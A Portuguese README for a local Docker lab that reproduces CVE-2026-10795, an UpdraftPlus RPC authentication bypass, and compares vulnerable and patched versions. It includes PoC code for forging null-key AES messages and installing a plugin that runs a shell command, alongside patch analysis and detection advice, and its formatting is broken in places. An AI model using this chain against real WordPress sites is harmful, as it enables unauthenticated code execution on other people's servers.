
Este repositório contém um laboratório Docker local para reproduzir e validar a CVE-2026-10795, uma vulnerabilidade de bypass de autenticação não autenticado que afeta o plugin UpdraftPlus do WordPress por meio da camada de comunicação remota UpdraftCentral.
O comportamento vulnerável existe no fluxo de tratamento de mensagens RPC do UpdraftCentral. Em versões vulneráveis, uma mensagem RPC forjada com format=1 pode ignorar a verificação de assinatura, acionar um caminho de descriptografia RSA com falha e ainda assim chegar à descriptografia simétrica com um comportamento previsível de chave nula/IV nulo. Isso permite que uma mensagem RPC criptografada e manipulada seja aceita e despachada como um comando UpdraftCentral.
Este laboratório compara duas versões do UpdraftPlus:
| Serviço | Versão do UpdraftPlus | Finalidade | URL |
|---|---|---|---|
vuln | 1.26.4 | Alvo de comparação vulnerável | http://127.0.0.1:8081 |
patched | 1.26.5 | Alvo de comparação corrigido | http://127.0.0.1:8082 |
A cadeia demonstrada é:```text Unauthenticated attacker → forged UpdraftCentral RPC request → format=1 signature verification bypass → failed RSA decrypt not rejected in vulnerable version → predictable zero-key/zero-IV decrypt path → forged JSON RPC command accepted → privileged UpdraftCentral command dispatch → plugin.upload_plugin → install and activate marker plugin → hard-coded /usr/bin/id proof endpoint
A vulnerabilidade principal é um bypass de autenticação. O laboratório demonstra que o bypass pode ser encadeado a um impacto do tipo RCE quando um estado de chave UpdraftCentral privilegiado está presente, porque o UpdraftCentral expõe comandos legítimos de gerenciamento de plugins que podem instalar e ativar plugins do WordPress.
Esta não é uma vulnerabilidade direta de injeção de comandos. A prova de execução de código vem do abuso da funcionalidade autenticada de instalação de plugins após contornar o limite de autenticação RPC.
Este laboratório foi projetado apenas para pesquisa local controlada, compreensão em nível de código-fonte e demonstração em portfólio.
## Fatos Verificados
| Afirmação | Evidência | Como verificar neste laboratório |
| ---------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------ |
| O UpdraftPlus 1.26.4 é vulnerável neste laboratório. | O serviço vulnerável aceita uma mensagem RPC forjada `format=1` e despacha `plugin.upload_plugin`. | Execute `python3 poc/poc.py --url http://127.0.0.1:8081`. |
| O UpdraftPlus 1.26.5 bloqueia a mensagem forjada neste laboratório. | O serviço corrigido não retorna corpo de resposta RPC e não despacha o comando forjado. | Execute `python3 poc/poc.py --url http://127.0.0.1:8082`. |
| O problema é um bypass de autenticação na camada RPC do UpdraftCentral. | Uma requisição RPC forjada não autenticada pode alcançar o despacho de comandos na versão vulnerável. | Compare o comportamento de `--ping` entre as portas `8081` e `8082`. |
| O laboratório não pré-instala o plugin marcador. | A configuração instala apenas WordPress, UpdraftPlus e um estado de chave UpdraftCentral local. | Verifique `/wp-json/cve-lab/v1/id` antes de executar o PoC. |
| O PoC instala o plugin marcador por meio de RPC forjado. | O PoC envia `plugin.upload_plugin` com um payload de plugin ZIP no campo de dados RPC. | Execute o PoC e então solicite `/wp-json/cve-lab/v1/id`. |
| O alvo vulnerável atinge impacto do tipo RCE. | O plugin marcador expõe um endpoint fixo que retorna a saída de `/usr/bin/id`. | O alvo vulnerável retorna `uid=33(www-data) gid=33(www-data)`. |
| O alvo corrigido não instala o plugin marcador. | O endpoint marcador retorna `404 rest_no_route` no serviço corrigido. | Execute o PoC contra `http://127.0.0.1:8082`. |
| O laboratório requer um estado de chave UpdraftCentral. | O despacho do UpdraftCentral depende de uma entrada de chave local e dos metadados associados. | Revise `scripts/setup-wordpress.sh`. |
## Suposições e Incógnitas
Este laboratório intencionalmente insere um estado de chave UpdraftCentral local para reproduzir uma condição de site onde o controle remoto foi configurado.
O estado de chave inserido é um pré-requisito do laboratório, não a vulnerabilidade em si. Ele permite que o laboratório exercite consistentemente o caminho vulnerável de análise e descriptografia RPC.
O laboratório não afirma que toda instalação do UpdraftPlus é imediatamente explorável. A cadeia demonstrada depende da presença de uma entrada de chave UpdraftCentral local associada a um usuário WordPress privilegiado.
O laboratório demonstra um impacto controlado do tipo RCE ao instalar um plugin marcador que expõe um endpoint fixo de prova `/usr/bin/id`. Ele não fornece um web shell genérico, parâmetro arbitrário de execução de comandos, reverse shell, mecanismo de persistência, roubo de credenciais ou callback externo.
O PoC é limitado apenas a alvos locais e recusa hostnames não locais por padrão.
## Resumo da Causa Raiz
A causa raiz é a validação inadequada das mensagens RPC do UpdraftCentral em versões vulneráveis do UpdraftPlus.
O fluxo RPC vulnerável aceita uma mensagem `format=1`. O caminho `format=1` não exige a mesma verificação de assinatura que os formatos de mensagem mais recentes.
O problema em alto nível é:```text
format=1 message
→ signature verification is bypassed
→ RSA decrypt of the symmetric key can fail
→ failed decrypt result is not rejected
→ false is passed into the symmetric cipher as a key
→ phpseclib normalizes this into a predictable null key path
→ attacker-controlled encrypted JSON can decrypt successfully
→ command is dispatched
Em comportamento vulnerável, a descriptografia RSA pode retornar:```text false
Em vez de rejeitar o resultado de descriptografia com falha, o fluxo vulnerável continua e passa o valor para a camada de descriptografia simétrica.
O padrão vulnerável efetivo é:```php
$sym_key = $rsa->decrypt($sym_key);
$rij->setKey($sym_key);
$decrypted = $rij->decrypt($ciphertext);
O problema é que $sym_key não é validado antes de ser usado.
Quando $sym_key é false, a configuração da cifra segue um comportamento previsível de chave nula/IV nulo. Isso torna possível criar um payload RPC criptografado usando uma chave zero e um IV zero conhecidos.
A versão corrigida adiciona uma proteção antes de a chave simétrica ser usada:```php if (false === $sym_key || !is_string($sym_key) || strlen($sym_key) < 16) { return false; }
Isso altera o limite de confiança.
Antes do patch:```text
failed RSA decrypt result could still reach symmetric decrypt
Após o patch:```text failed RSA decrypt result is rejected before command dispatch
É por isso que o serviço vulnerável despacha o comando RPC forjado, enquanto o serviço corrigido não o faz.
## Por que um bypass de autenticação pode levar à execução de código
CVE-2026-10795 é melhor descrito como um bypass de autenticação, pois a falha raiz está na camada de autenticação RPC e verificação de mensagens.
No entanto, depois que esse limite de autenticação é contornado, a mensagem RPC controlada pelo atacante pode alcançar comandos privilegiados do UpdraftCentral.
Um caminho de comando importante é:```text
plugin.upload_plugin
Este comando faz parte da funcionalidade de gestão de plugins do UpdraftCentral. Ele aceita um payload ZIP de plugin, grava-o em um local temporário, instala o plugin e o ativa quando solicitado.
A cadeia de impacto é, portanto:```text Authentication bypass → forged privileged RPC command → plugin upload through legitimate UpdraftCentral functionality → plugin installation → plugin activation → WordPress plugin code execution
Isto não é injeção de comandos.
O laboratório demonstra execução de código ao instalar um plugin de marcador que expõe um único endpoint:```text
/wp-json/cve-lab/v1/id
O plugin marker não aceita um parâmetro de comando. Ele apenas executa:```text /usr/bin/id
Isso mantém a prova controlada e evita transformar o laboratório em um shell web de propósito geral.
## Resumo do Patch de Origem
O comportamento relevante do patch é que a versão corrigida rejeita chaves simétricas inválidas antes de tentar descriptografar o corpo da mensagem RPC.
A validação importante é:```php
if (false === $sym_key || !is_string($sym_key) || strlen($sym_key) < 16) {
return false;
}
Isto impede o comportamento de fallback vulnerável em que um resultado de descriptografia RSA falhado pode se tornar um caminho previsível de chave simétrica.
O resultado prático é:```text UpdraftPlus 1.26.4 → forged format=1 RPC message reaches command dispatch
UpdraftPlus 1.26.5 → failed symmetric key validation stops the forged message → command dispatch is not reached
O laboratório também valida o impacto downstream ao atingir o caminho real do comando de upload do plugin UpdraftCentral.
O comportamento relevante do comando é:```text
plugin.upload_plugin
→ base64 decode ZIP data
→ write temporary ZIP file
→ UpdraftCentral_Plugin_Upgrader->install()
→ activate_plugin()
A versão corrigida bloqueia a mensagem forjada antes que esse caminho de comando seja alcançado.
Esta seção explica o caminho vulnerável em nível de código-fonte e mapeia cada etapa do PoC para o comportamento relevante do UpdraftPlus / UpdraftCentral.
O laboratório não depende de uma rota de aplicativo vulnerável falsa. O comportamento vulnerável é alcançado por meio do listener RPC real do UpdraftCentral e do caminho real de comando de gerenciamento de plugins do UpdraftCentral.
As áreas importantes do código-fonte são:```text vendor/team-updraft/common-libs/src/updraft-rpc/class-udrpc2.php central/bootstrap.php central/listener.php central/commands.php central/modules/plugin.php
### Criação de Listener
O caminho RPC vulnerável começa quando o WordPress recebe uma solicitação POST contendo:```text
udrpc_message
format
key_name
A biblioteca RPC registra um listener no wp_loaded do WordPress quando esses campos POST existem.
Conceitualmente, o fluxo é:```php if (!empty($_POST['udrpc_message']) && !empty($_POST['format'])) { add_action('wp_loaded', array($this, 'wp_loaded')); add_action('wp_loaded', array($this, 'wp_loaded_final'), 10000); }
Isto significa que o atacante não precisa de conhecer um endpoint REST especial ou um URL de administração. O pedido RPC forjado é enviado como um pedido POST normal para a raiz do site WordPress.
O PoC envia:```text
POST /
format=1
key_name=0.central.updraftplus.com
udrpc_message=<crafted encrypted message>
A solicitação atinge o mesmo caminho de listener usado pela comunicação remota legítima do UpdraftCentral.
O UpdraftCentral armazena chaves locais de controle remoto nas opções do WordPress. Neste laboratório, o script de configuração define um estado de chave controlado tanto para os alvos vulneráveis quanto para os corrigidos.
O nome da chave relevante é:```text 0.central.updraftplus.com
Este formato é produzido pela lógica do indicador-chave do UpdraftCentral:```php
private function indicator_name_from_index($index) {
return $index.'.central.updraftplus.com';
}
O listener só continua se o campo POST não criptografado corresponder ao indicador de chave esperado:```php if (empty($_POST['key_name']) || $_POST['key_name'] != $this->key_name_indicator) { return; }
O PoC, portanto, define:```python
KEY_NAME = "0.central.updraftplus.com"
Isto não é a vulnerabilidade. É um pré-requisito de laboratório que permite ao teste exercitar o caminho vulnerável de análise RPC e descriptografia de forma reproduzível.
O UpdraftCentral suporta formatos de mensagem. A distinção importante é:```text format=1 legacy path format=2 signed message path
No caminho de código vulnerável, a verificação de assinatura só acontece quando o formato é maior ou igual a 2:```php
if ($format >= 2) {
if (empty($_POST['signature'])) {
die;
}
if (!$this->key_remote) {
die;
}
if (!$this->verify_signature($udrpc_message, $_POST['signature'], $this->key_remote)) {
die;
}
}
Porque o PoC usa:```text format=1
este bloco de verificação de assinatura é ignorado.
Essa é a fronteira do bypass de autenticação.
Espera-se que uma mensagem legítima `format=2` inclua uma assinatura válida. A mensagem forjada `format=1` não precisa de uma, então a mensagem controlada pelo atacante pode continuar para o caminho de descriptografia.
### Fluxo de Descriptografia Vulnerável
Após as verificações de formato e nome da chave, o listener descriptografa o `udrpc_message` submetido.
O fluxo de descriptografia vulnerável no UpdraftPlus 1.26.4 é efetivamente:```php
$rsa->loadKey($this->key_local);
$sym_key = base64_decode($sym_key);
$sym_key = $rsa->decrypt($sym_key);
$rij->setKey($sym_key);
return $rij->decrypt($ciphertext);
O bug está entre estas duas operações:```php $sym_key = $rsa->decrypt($sym_key); $rij->setKey($sym_key);
Se a descriptografia RSA falhar, `$rsa->decrypt()` pode retornar:```php
false
A versão vulnerável não rejeita esse valor antes de passá-lo para:```php $rij->setKey($sym_key);
A versão corrigida resolve isso adicionando validação:```php
if (false === $sym_key || !is_string($sym_key) || strlen($sym_key) < 16) {
return false;
}
Esta proteção é o patch relevante para a segurança. Ela impede que um resultado de descriptografia RSA com falha chegue à configuração do cifrador simétrico.
false se torna previsívelO comportamento vulnerável é perigoso porque setKey(false) não falha com segurança neste caminho do phpseclib.
O código do cifrador calcula o comprimento da chave a partir da chave fornecida:```php $this->setKeyLength(strlen($key) << 3); $this->key = $key;
Quando `$key` é `false`, `strlen(false)` se comporta como um caso de chave de comprimento zero.
A lógica de comprimento de chave do Rijndael arredonda tamanhos de chave muito pequenos para um comprimento mínimo válido de chave:```php
case $length <= 128:
$this->key_length = 16;
break;
A configuração da cifra então preenche a chave e o IV com bytes nulos:```php $this->encryptIV = $this->decryptIV = str_pad(substr($this->iv, 0, $this->block_size), $this->block_size, "\0");
$this->key = str_pad(substr($this->key, 0, $this->key_length), $this->key_length, "\0");
Assim, o atacante pode modelar o comportamento de descriptografia vulnerável como:```text
AES/Rijndael-CBC
key = 16 null bytes
iv = 16 null bytes
É por isso que o PoC pode criptografar um comando JSON RPC localmente e fazer com que o alvo vulnerável o descriptografe com sucesso.
A função de descriptografia vulnerável espera que a mensagem criptografada contenha:```text 3 hex chars length of RSA-encrypted symmetric key, as base64 text N chars base64 RSA-encrypted symmetric key 16 hex chars length of ciphertext, as base64 text M chars base64 encrypted message body
O PoC constrói esta estrutura manualmente:```python
bad_sym_key_b64 = base64.b64encode(BAD_RSA_BLOCK).decode("ascii")
ciphertext_b64 = base64.b64encode(encrypted_inner_json).decode("ascii")
sym_key_len = f"{len(bad_sym_key_b64):03x}"
ciphertext_len = f"{len(ciphertext_b64):016x}"
udrpc_message = f"{sym_key_len}{bad_sym_key_b64}{ciphertext_len}{ciphertext_b64}"
O bloco RSA é intencionalmente inválido:```python BAD_RSA_BLOCK = b"CVE-2026-10795-LAB-BAD-RSA-BLOCK"
Em UpdraftPlus 1.26.4, esse bloco RSA inválido faz a descriptografia RSA falhar, mas a falha não é rejeitada.
Em UpdraftPlus 1.26.5, o resultado da descriptografia falha é rejeitado pelo novo guard e a mensagem forjada não chega ao despacho de comandos.
### Mensagem JSON RPC Interna
A mensagem interna criptografada é um comando JSON normal no estilo UpdraftCentral.
Para validação de ping, o PoC usa:```json
{
"command": "ping",
"time": 1710000000,
"key_name": "0.central.updraftplus.com",
"rand": 123456
}
Para a prova de ID padrão, o PoC usa:```json { "command": "plugin.upload_plugin", "time": 1710000000, "key_name": "0.central.updraftplus.com", "rand": 123456, "data": { "filename": "cve-2026-10795-id-marker.zip", "data": "", "activate": true } }
O `key_name` aparece tanto fora quanto dentro da mensagem criptografada. O ouvinte verifica se ambos correspondem:```php
if (empty($udrpc_message['key_name']) || $_POST['key_name'] != $udrpc_message['key_name']) {
die;
}
É por isso que o PoC deve incluir o mesmo nome de chave em ambos os lugares.
Após descriptografar a mensagem, o listener a analisa como JSON:```php $udrpc_message = json_decode($udrpc_message, true);
A mensagem deve conter um comando válido:```php
if (empty($udrpc_message) || !is_array($udrpc_message) || empty($udrpc_message['command']) || !is_string($udrpc_message['command'])) {
die;
}
Ele também deve conter um timestamp:```php if (empty($udrpc_message['time'])) { die; }
O timestamp deve estar dentro da janela de replay permitida:```php
$time_difference = absint($udrpc_message['time'] - time());
if ($time_difference > $this->maximum_replay_time_difference) {
die;
}
O PoC define, portanto, o campo time interno para o tempo atual.
Após a mensagem ser descriptografada e validada, o UpdraftCentral envia o comando.
Os comandos usam um formato de prefixo:```text .
Por exemplo:```text
plugin.upload_plugin
Isso se torna:```text prefix = plugin method = upload_plugin
O listener resolve a classe de comando a partir do prefixo e então chama o método dinamicamente:```php
$msg = apply_filters(
'updraftcentral_listener_udrpc_action',
call_user_func(array($command_class, $command), $data, $extra_info),
$command_class,
$class_prefix,
$command,
$data,
$extra_info
);
Para o comando PoC:```text plugin.upload_plugin
o listener chama:```php
UpdraftCentral_Plugin_Commands::upload_plugin($data)
É por isso que o PoC não precisa de um sink direto de injeção de comandos. Ele alcança um comando UpdraftCentral privilegiado e legítimo após contornar a fronteira de autenticação RPC.
O listener pode definir o usuário atual do WordPress a partir dos metadados da chave UpdraftCentral:```php if (!empty($extra_info['user_id'])) { wp_set_current_user($extra_info['user_id']); }
Neste laboratório, a chave semeada tem:```text
extra_info.user_id = 1
Isso simula uma chave UpdraftCentral configurada associada ao usuário administrador criado durante a configuração do WordPress.
Isso é importante porque o caminho de upload do plugin verifica as capacidades do WordPress:```php if (!current_user_can('install_plugins') || !current_user_can('activate_plugins')) { $permission_error = true; }
So the bypass alone gets the forged command into the RPC layer. The seeded key metadata determines which WordPress user context the command runs under.
In this lab, the command runs in admin context because the key is associated with user ID 1.
### Plugin Upload Sink
The command method is:```php
public function upload_plugin($params) {
return $this->process_chunk_upload($params, 'plugin');
}
O manipulador de upload compartilhado espera dados de upload do plugin:```text filename data activate
O PoC envia:```python
{
"filename": "cve-2026-10795-id-marker.zip",
"data": base64.b64encode(zip_bytes).decode("ascii"),
"activate": True,
}
O manipulador de upload grava o conteúdo do ZIP em um arquivo temporário:```php $result = file_put_contents( $upload_dir.'/'.$filename, base64_decode($params['data']), FILE_APPEND | LOCK_EX );
Para um upload não fragmentado, a instalação prossegue imediatamente:```php
$install_now = true;
O handler então constrói um caminho ZIP:```php $zip_filepath = $upload_dir.'/'.$filename;
e o instala usando o atualizador de plugins do UpdraftCentral:```php
$upgrader = new UpdraftCentral_Plugin_Upgrader($skin);
$install_result = $upgrader->install($zip_filepath);
Se a instalação for bem-sucedida e activate for true, o código ativa o plugin instalado:```php
if ((bool) $params['activate'] && !$is_active) {
$activate = activate_plugin($data['slug']);
}
Uma resposta de instalação bem-sucedida contém:```php
return $this->_response(
array(
'installed' => true,
'installed_data' => $data,
)
);
Esta é a razão ao nível do código-fonte pela qual uma bypass de autenticação RPC forjada pode ser encadeada com a instalação e ativação de plugins do WordPress.
O plugin de marcação é gerado pelo PoC em memória. Ele não é pré-instalado pela configuração do Docker.
O ZIP gerado contém:```text cve-2026-10795-id-marker/ └── cve-2026-10795-id-marker.php
O plugin de marcadores registra uma rota REST:```text
/wp-json/cve-lab/v1/id
O endpoint retorna:```text lab plugin proof uid gid user id_output
O único comando executado pelo plugin de marcadores é hard-coded:```php
shell_exec('/usr/bin/id 2>&1');
Não há parâmetro cmd controlado pelo usuário.
Isso é intencional. O laboratório prova a execução de código via plugin, evitando um web shell genérico.
O serviço corrigido recebe a mesma solicitação forjada e tem o mesmo estado de chave semeada.
A diferença está na proteção de descriptografia corrigida:```php if (false === $sym_key || !is_string($sym_key) || strlen($sym_key) < 16) { return false; }
Como o PoC fornece intencionalmente um bloco RSA inválido, a chave simétrica decriptografada é inválida.
No UpdraftPlus 1.26.5, a mensagem forjada para antes da análise JSON e antes do despacho de comandos.
Portanto:```text
plugin.upload_plugin is never called
marker plugin is never installed
/wp-json/cve-lab/v1/id returns 404 rest_no_route
Esse comportamento corrigido prova que o resultado do laboratório depende do caminho de código RPC vulnerável do UpdraftPlus, e não do harness Docker.
O PoC começa recusando alvos não locais:```python allowed_hosts = {"127.0.0.1", "localhost", "::1"}
if host not in allowed_hosts: raise ValueError("Refusing non-local target")
Isto mantém o script restrito ao laboratório Docker.
O PoC constrói a mensagem RPC interna:```python
inner = {
"command": command,
"time": int(time.time()),
"key_name": KEY_NAME,
"rand": random.randint(1, 2_147_483_647),
}
Se a prova de ID padrão for usada, o comando é:```python command = "plugin.upload_plugin"
e os dados são:```python
{
"filename": "cve-2026-10795-id-marker.zip",
"data": base64.b64encode(zip_bytes).decode("ascii"),
"activate": True,
}
O PoC então criptografa o JSON interno com o estado de cifra vulnerável previsível:```python ZERO_KEY = b"\x00" * 16 ZERO_IV = b"\x00" * 16
cipher = AES.new(ZERO_KEY, AES.MODE_CBC, iv=ZERO_IV) ciphertext = cipher.encrypt(pad(plaintext, AES.block_size))
Isto corresponde à consequência vulnerável de passar `false` para a configuração do cifrador simétrico.
A PoC usa intencionalmente um bloco RSA inválido:```python
BAD_RSA_BLOCK = b"CVE-2026-10795-LAB-BAD-RSA-BLOCK"
A udrpc_message resultante é construída no mesmo formato com prefixo de comprimento que a função de descriptografia RPC espera:```python
sym_key_len = f"{len(bad_sym_key_b64):03x}"
ciphertext_len = f"{len(ciphertext_b64):016x}"
return f"{sym_key_len}{bad_sym_key_b64}{ciphertext_len}{ciphertext_b64}"
Finalmente, o PoC envia a solicitação RPC forjada:```python
fields = {
"format": "1",
"key_name": KEY_NAME,
"udrpc_message": build_udrpc_message(command, data),
}
requests.post(target, data=fields, timeout=timeout)
No alvo vulnerável, a resposta do servidor contém um corpo de resposta JSON válido no estilo RPC. O PoC trata isso como:```text RPC DISPATCHED
Após o envio, o PoC verifica o impacto solicitando o endpoint de marcação:```text
GET /wp-json/cve-lab/v1/id
Se o plugin marker foi instalado e ativado, o endpoint retorna:```text uid=33(www-data) gid=33(www-data) groups=33(www-data)
Essa saída prova que a mensagem RPC forjada e não autenticada alcançou um caminho privilegiado de instalação de plugins e ativou o código de plugin fornecido pelo atacante dentro do laboratório local.
## O que o Laboratório Prova
Este laboratório prova a seguinte cadeia técnica:```text
1. UpdraftPlus 1.26.4 accepts a forged format=1 UpdraftCentral RPC message.
2. The forged message does not need a valid signature.
3. A failed RSA decrypt result is not rejected before symmetric decrypt.
4. The symmetric decrypt path becomes predictable enough to craft a valid JSON command.
5. The JSON command reaches UpdraftCentral command dispatch.
6. The dispatched command can call plugin.upload_plugin.
7. plugin.upload_plugin can install and activate a ZIP plugin.
8. Activated plugin code runs in the web server context.
9. UpdraftPlus 1.26.5 blocks the same forged message before dispatch.
O laboratório não prova que toda instalação é explorável sem pré-requisitos.
O pré-requisito necessário para esta demonstração é:```text an existing UpdraftCentral local key state associated with a privileged WordPress user
A configuração do Docker cria esse pré-requisito em ambos os alvos para que a diferença entre o comportamento vulnerável e o corrigido possa ser testada de forma justa.
## Arquitetura do Lab
O lab executa duas instalações isoladas de WordPress por meio do Docker Compose.```text
.
├── docker-compose.yml
├── scripts/
│ └── setup-wordpress.sh
├── vuln/
│ └── Dockerfile
├── patched/
│ └── Dockerfile
├── poc/
│ └── poc.py
├── requirements.txt
├── README.md
└── .gitignore
The two WordPress services run separate databases and separate UpdraftPlus versions:
Default exposed services:```text Vulnerable target: http://127.0.0.1:8081 Patched target: http://127.0.0.1:8082
O processo de configuração propaga o mesmo estado de chave do UpdraftCentral em ambos os serviços:```text
key_name: 0.central.updraftplus.com
extra_info.user_id: 1
Isso fornece a ambos os alvos o mesmo estado de pré-requisito. A diferença de comportamento vem do código UpdraftPlus vulnerável versus corrigido, não de uma configuração de laboratório diferente.
requirements.txtDependências Python:```text requests urllib3<2 pycryptodome
A restrição `urllib3<2` evita avisos relacionados ao LibreSSL em algumas compilações Python no macOS.
## Início Rápido
Comece de um estado de laboratório limpo:```bash
docker compose down -v --remove-orphans
docker compose up -d --build
Acompanhe os logs de configuração:```bash docker compose logs -f vuln_setup patched_setup
Indicadores esperados de configuração:```text
Seeded UpdraftCentral key: 0.central.updraftplus.com
Plugin updraftplus details:
Status: Active
Version: 1.26.4
Setup complete for CVE-2026-10795 vuln
No input content provided.```text Seeded UpdraftCentral key: 0.central.updraftplus.com Plugin updraftplus details: Status: Active Version: 1.26.5 Setup complete for CVE-2026-10795 patched
Verifique os serviços em execução:```bash
docker compose ps
Crie e ative um ambiente virtual Python:```bash python3 -m venv venv source venv/bin/activate pip install -r requirements.txt
Execute a prova de ID padrão contra o alvo vulnerável:```bash
python3 poc/poc.py --url http://127.0.0.1:8081
Execute a mesma prova contra o alvo corrigido:```bash python3 poc/poc.py --url http://127.0.0.1:8082
O script requer a opção `--url` intencionalmente. Isso força o testador a escolher o alvo explicitamente em vez de atacar automaticamente ambos os serviços.
## Uso do PoC
Comportamento padrão:```bash
python3 poc/poc.py --url <local_target_url>
Exemplo de alvo vulnerável:```bash python3 poc/poc.py --url http://127.0.0.1:8081
Exemplo de alvo corrigido:```bash
python3 poc/poc.py --url http://127.0.0.1:8082
Validação opcional apenas com ping:```bash python3 poc/poc.py --ping --url http://127.0.0.1:8081 python3 poc/poc.py --ping --url http://127.0.0.1:8082
Opções suportadas:
| Opção | Obrigatório | Finalidade |
| ----------- | ----------- | -------------------------------------------------------------- |
| `--url` | Sim | URL do alvo do laboratório local |
| `--ping` | Não | Executar validação de ping forjado inofensiva em vez de prova de ID |
| `--timeout` | Não | Tempo limite de HTTP em segundos. Padrão: `15` |
Hosts de destino aceitos:```text
127.0.0.1
localhost
::1
O PoC recusa alvos não locais por padrão.
O PoC é executado a partir da máquina host e envia solicitações HTTP para os serviços Docker expostos.
A ação padrão do PoC é a prova de ID.
O fluxo de alto nível é:```text
O plugin de marcador não é armazenado no repositório como um arquivo de plugin independente. Ele é gerado em memória pelo PoC.
O comando RPC forjado é:```text
plugin.upload_plugin
Os dados RPC contêm:```text filename = cve-2026-10795-id-marker.zip data = base64(plugin_zip) activate = true
O PoC criptografa a mensagem JSON RPC interna usando:```text
AES-CBC
key = 16 null bytes
iv = 16 null bytes
Também inclui um bloco de chave simétrica criptografada com RSA deliberadamente inválido.
Na versão vulnerável, a falha de descriptografia RSA não é rejeitada. A mensagem continua para o caminho previsível de descriptografia com chave nula e o comando forjado é despachado.
Na versão corrigida, a chave simétrica inválida é rejeitada e o comando forjado não é despachado.
--ping existeA opção --ping é um auxiliar de depuração.
Ela valida apenas o bypass criptográfico e a fronteira de despacho RPC. Não envia um plugin e não executa /usr/bin/id.
Use --ping quando a prova de ID padrão não funcionar e a falha precisar ser isolada.
Se --ping falhar, o problema provavelmente está antes da execução do comando:```text
wrong key state
wrong key_name
message format issue
encryption mismatch
listener not active
patched behavior
Se `--ping` for bem-sucedido, mas a prova de ID falhar, o problema provavelmente está após o despacho:```text
plugin.upload_plugin data issue
ZIP plugin format issue
filesystem permission issue
plugin activation issue
REST endpoint registration issue
Comportamento esperado do ping:```text 1.26.4 vulnerable target → PING DISPATCHED 1.26.5 patched target → PING NOT DISPATCHED
## Resultados Esperados
### Alvo Vulnerável
Comando:```bash
python3 poc/poc.py --url http://127.0.0.1:8081
Interpretation: UpdraftPlus 1.26.4 should show RPC DISPATCHED and Marker active: True UpdraftPlus 1.26.5 should show RPC NOT DISPATCHED and Marker active: False id output should be a hard-coded local proof such as uid=33(www-data).
### Alvo Corrigido
Comando:```bash
python3 poc/poc.py --url http://127.0.0.1:8082
Interpretation: UpdraftPlus 1.26.4 should show RPC DISPATCHED and Marker active: True UpdraftPlus 1.26.5 should show RPC NOT DISPATCHED and Marker active: False id output should be a hard-coded local proof such as uid=33(www-data).
## Comandos de Verificação Manual
Verifique a saúde do serviço:```bash
docker compose ps
Inspecione os metadados do serviço vulnerável:```bash curl -s http://127.0.0.1:8081/cve-lab-inspector.php | python3 -m json.tool
Inspecione os metadados do serviço corrigido:```bash
curl -s http://127.0.0.1:8082/cve-lab-inspector.php | python3 -m json.tool
Verifique o estado do plugin em tempo de execução:```bash curl -s 'http://127.0.0.1:8081/cve-lab-inspector.php?runtime=1' | python3 -m json.tool curl -s 'http://127.0.0.1:8082/cve-lab-inspector.php?runtime=1' | python3 -m json.tool
Execute validação somente com ping:```bash
python3 poc/poc.py --ping --url http://127.0.0.1:8081
python3 poc/poc.py --ping --url http://127.0.0.1:8082
Prova do ID de execução:```bash python3 poc/poc.py --url http://127.0.0.1:8081 python3 poc/poc.py --url http://127.0.0.1:8082
Verifique o endpoint do marcador diretamente após executar o PoC:```bash
curl -s http://127.0.0.1:8081/wp-json/cve-lab/v1/id | python3 -m json.tool
curl -s http://127.0.0.1:8082/wp-json/cve-lab/v1/id | python3 -m json.tool
Esperado:```text 8081 → marker endpoint exists and returns id output 8082 → marker endpoint returns 404 rest_no_route
Verifique os plugins instalados dentro do container vulnerável:```bash
docker compose exec -T vuln sh -lc \
'find /var/www/html/wp-content/plugins -maxdepth 2 -type f | sort | grep cve-2026-10795 || true'
Verifique os plugins instalados dentro do contêiner corrigido:```bash
docker compose exec -T patched sh -lc
'find /var/www/html/wp-content/plugins -maxdepth 2 -type f | sort | grep cve-2026-10795 || true'
O serviço vulnerável deve conter o plugin marcador após a execução do PoC. O serviço corrigido não deve.
## Impacto
Este laboratório demonstra que um atacante não autenticado pode forjar uma mensagem RPC do UpdraftCentral que alcança o despacho de comandos privilegiados no UpdraftPlus 1.26.4 quando existe um estado adequado de chave do UpdraftCentral.
O impacto demonstrado é do tipo RCE porque o comando RPC forjado abusa da funcionalidade legítima de gerenciamento de plugins:```text
plugin.upload_plugin
→ install plugin ZIP
→ activate plugin
→ execute plugin code in the web server context
A prova local mostra a execução como o usuário do servidor web:```text uid=33(www-data) gid=33(www-data) groups=33(www-data)
A categoria da vulnerabilidade permanece sendo bypass de autenticação. O resultado da execução de código é um impacto encadeado por meio da instalação privilegiada de plugins do WordPress.
## Detecção e Monitoramento
Os indicadores potenciais incluem solicitações POST não autenticadas para a página inicial do WordPress contendo campos RPC do UpdraftCentral:```text
format
key_name
udrpc_message
signature
Características suspeitas:```text format=1 key_name ending with .central.updraftplus.com large udrpc_message value unexpected unauthenticated POST requests to / repeated RPC attempts with empty or unusual response bodies new unexpected plugin directories under wp-content/plugins new plugin activation events REST routes appearing unexpectedly after a suspicious request
Indicadores de laboratório local:```text
POST / with format=1 and udrpc_message
new plugin directory: wp-content/plugins/cve-2026-10795-id-marker
new REST route: /wp-json/cve-lab/v1/id
id output: uid=33(www-data)
Ideias de monitoramento de produção:
udrpc_message.format=1 provenientes de fontes não confiáveis.wp-content/plugins.Atualize o UpdraftPlus para a versão 1.26.5 ou posterior.
A versão corrigida rejeita chaves simétricas descriptografadas inválidas antes da descriptografia simétrica e do despacho de comandos.
Etapas de mitigação recomendadas:
udrpc_message.A correção mais importante é executar uma versão corrigida do UpdraftPlus que rejeite chaves simétricas inválidas antes da descriptografia e do despacho.
Pare os contêineres e remova as redes:```bash docker compose down --remove-orphans
Remova containers, redes e volumes:```bash
docker compose down -v --remove-orphans
Remover o ambiente virtual Python:```bash rm -rf venv
Remova os arquivos de evidência locais se forem criados:```bash
rm -rf evidence/
Este laboratório destina-se apenas a pesquisa de segurança local e demonstração controlada.
Não execute o PoC contra sistemas que você não possui ou para os quais não tenha permissão explícita de teste.
Não use credenciais reais, segredos de produção ou alvos externos neste laboratório.
O PoC é propositalmente limitado a serviços Docker locais, como:```text http://127.0.0.1:8081 http://127.0.0.1:8082 http://localhost:8081 http://localhost:8082
O PoC recusa alvos não locais por padrão.
O plugin de marcador não implementa um parâmetro genérico de execução de comandos. Ele apenas expõe um endpoint de prova local fixo (hard-coded) que executa `/usr/bin/id`.
Este laboratório não inclui:```text
generic web shell
cmd parameter
reverse shell
credential extraction
database dumping
persistence
external callback
lateral movement
production exploitation workflow
O objetivo é demonstrar uma condição técnica específica em um ambiente controlado:```text unauthenticated forged RPC
## Referências
* NVD: CVE-2026-10795
https://nvd.nist.gov/vuln/detail/CVE-2026-10795
